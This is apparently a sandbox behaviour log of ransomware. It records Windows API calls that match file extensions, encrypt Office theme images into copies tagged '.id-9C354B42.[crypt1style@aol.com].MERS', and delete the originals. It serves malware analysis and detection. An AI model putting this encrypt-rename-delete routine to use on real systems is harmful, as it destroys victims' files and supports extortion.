[0047.686] lstrlenW (lpString=".xlsx") returned 5 [0047.686] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.686] lstrlenW (lpString=".ppt") returned 4 [0047.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString=".zip") returned 4 [0047.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString=".rar") returned 4 [0047.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString=".bz2") returned 4 [0047.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.686] lstrlenW (lpString=".7z") returned 3 [0047.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString=".dbf") returned 4 [0047.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString=".1cd") returned 4 [0047.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString=".jpg") returned 4 [0047.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.686] lstrlenW (lpString=".doc") returned 4 [0047.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.686] lstrlenW (lpString=".docx") returned 5 [0047.686] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.686] lstrlenW (lpString=".pdf") returned 4 [0047.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString=".xls") returned 4 [0047.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString=".xlsx") returned 5 [0047.687] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.687] lstrlenW (lpString=".ppt") returned 4 [0047.687] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.687] lstrlenW (lpString=".zip") returned 4 [0047.687] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.687] lstrlenW (lpString=".rar") returned 4 [0047.687] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.687] lstrlenW (lpString=".bz2") returned 4 [0047.687] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.687] lstrlenW (lpString=".7z") returned 3 [0047.687] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.687] lstrlenW (lpString=".dbf") returned 4 [0047.687] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.687] lstrlenW (lpString=".1cd") returned 4 [0047.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.687] lstrlenW (lpString=".jpg") returned 4 [0047.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.687] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.687] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.688] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=945) returned 1 [0047.688] CloseHandle (hObject=0x1a8) returned 1 [0047.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0047.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.688] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.688] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.702] GetLastError () returned 0x0 [0047.702] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0047.751] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0047.752] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.752] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.752] SetEndOfFile (hFile=0x204) returned 1 [0047.753] CloseHandle (hObject=0x204) returned 1 [0047.753] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.753] SetEndOfFile (hFile=0x1a8) returned 1 [0047.753] CloseHandle (hObject=0x1a8) returned 1 [0047.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.754] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0047.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.754] lstrlenW (lpString=".doc") returned 4 [0047.754] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.754] lstrlenW (lpString=".docx") returned 5 [0047.754] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.754] lstrlenW (lpString=".pdf") returned 4 [0047.754] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.754] lstrlenW (lpString=".xls") returned 4 [0047.754] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.754] lstrlenW (lpString=".xlsx") returned 5 [0047.754] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.754] lstrlenW (lpString=".ppt") returned 4 [0047.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.754] lstrlenW (lpString=".zip") returned 4 [0047.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.754] lstrlenW (lpString=".rar") returned 4 [0047.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.754] lstrlenW (lpString=".bz2") returned 4 [0047.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.755] lstrlenW (lpString=".7z") returned 3 [0047.755] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString=".dbf") returned 4 [0047.755] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString=".1cd") returned 4 [0047.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString=".jpg") returned 4 [0047.755] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString=".doc") returned 4 [0047.755] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.755] lstrlenW (lpString=".docx") returned 5 [0047.755] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.755] lstrlenW (lpString=".pdf") returned 4 [0047.755] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString=".xls") returned 4 [0047.755] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString=".xlsx") returned 5 [0047.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.755] lstrlenW (lpString=".ppt") returned 4 [0047.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.755] lstrlenW (lpString=".zip") returned 4 [0047.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString=".rar") returned 4 [0047.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.755] lstrlenW (lpString=".bz2") returned 4 [0047.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.756] lstrlenW (lpString=".7z") returned 3 [0047.756] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.756] lstrlenW (lpString=".dbf") returned 4 [0047.756] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.756] lstrlenW (lpString=".1cd") returned 4 [0047.756] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0047.756] lstrlenW (lpString=".jpg") returned 4 [0047.756] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.756] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.756] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.756] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=29925) returned 1 [0047.757] CloseHandle (hObject=0x1a8) returned 1 [0047.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0047.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.757] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.757] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.758] GetLastError () returned 0x0 [0047.758] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0047.781] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0047.782] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.782] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.782] SetEndOfFile (hFile=0x204) returned 1 [0047.782] CloseHandle (hObject=0x204) returned 1 [0047.783] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.783] SetEndOfFile (hFile=0x1a8) returned 1 [0047.784] CloseHandle (hObject=0x1a8) returned 1 [0047.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.784] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.784] lstrlenW (lpString=".doc") returned 4 [0047.784] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.784] lstrlenW (lpString=".docx") returned 5 [0047.784] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.784] lstrlenW (lpString=".pdf") returned 4 [0047.785] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString=".xls") returned 4 [0047.785] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.785] lstrlenW (lpString=".xlsx") returned 5 [0047.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.785] lstrlenW (lpString=".ppt") returned 4 [0047.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString=".zip") returned 4 [0047.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.785] lstrlenW (lpString=".rar") returned 4 [0047.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.785] lstrlenW (lpString=".bz2") returned 4 [0047.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString=".7z") returned 3 [0047.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString=".dbf") returned 4 [0047.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString=".1cd") returned 4 [0047.785] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString=".jpg") returned 4 [0047.785] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.785] lstrlenW (lpString=".doc") returned 4 [0047.785] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.785] lstrlenW (lpString=".docx") returned 5 [0047.785] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.785] lstrlenW (lpString=".pdf") returned 4 [0047.786] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.786] lstrlenW (lpString=".xls") returned 4 [0047.786] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.786] lstrlenW (lpString=".xlsx") returned 5 [0047.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.786] lstrlenW (lpString=".ppt") returned 4 [0047.786] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.786] lstrlenW (lpString=".zip") returned 4 [0047.786] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.786] lstrlenW (lpString=".rar") returned 4 [0047.786] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.786] lstrlenW (lpString=".bz2") returned 4 [0047.786] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.786] lstrlenW (lpString=".7z") returned 3 [0047.786] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.786] lstrlenW (lpString=".dbf") returned 4 [0047.786] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.786] lstrlenW (lpString=".1cd") returned 4 [0047.786] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0047.786] lstrlenW (lpString=".jpg") returned 4 [0047.786] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.786] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.786] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.787] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1363) returned 1 [0047.787] CloseHandle (hObject=0x1a8) returned 1 [0047.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0047.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.787] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.787] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.792] GetLastError () returned 0x0 [0047.792] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x553, lpOverlapped=0x0) returned 1 [0047.847] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x560, lpOverlapped=0x0) returned 1 [0047.848] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.848] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.848] SetEndOfFile (hFile=0x204) returned 1 [0047.848] CloseHandle (hObject=0x204) returned 1 [0047.848] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.848] SetEndOfFile (hFile=0x1a8) returned 1 [0047.849] CloseHandle (hObject=0x1a8) returned 1 [0047.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0047.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.849] lstrlenW (lpString=".doc") returned 4 [0047.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.849] lstrlenW (lpString=".docx") returned 5 [0047.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.850] lstrlenW (lpString=".pdf") returned 4 [0047.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.850] 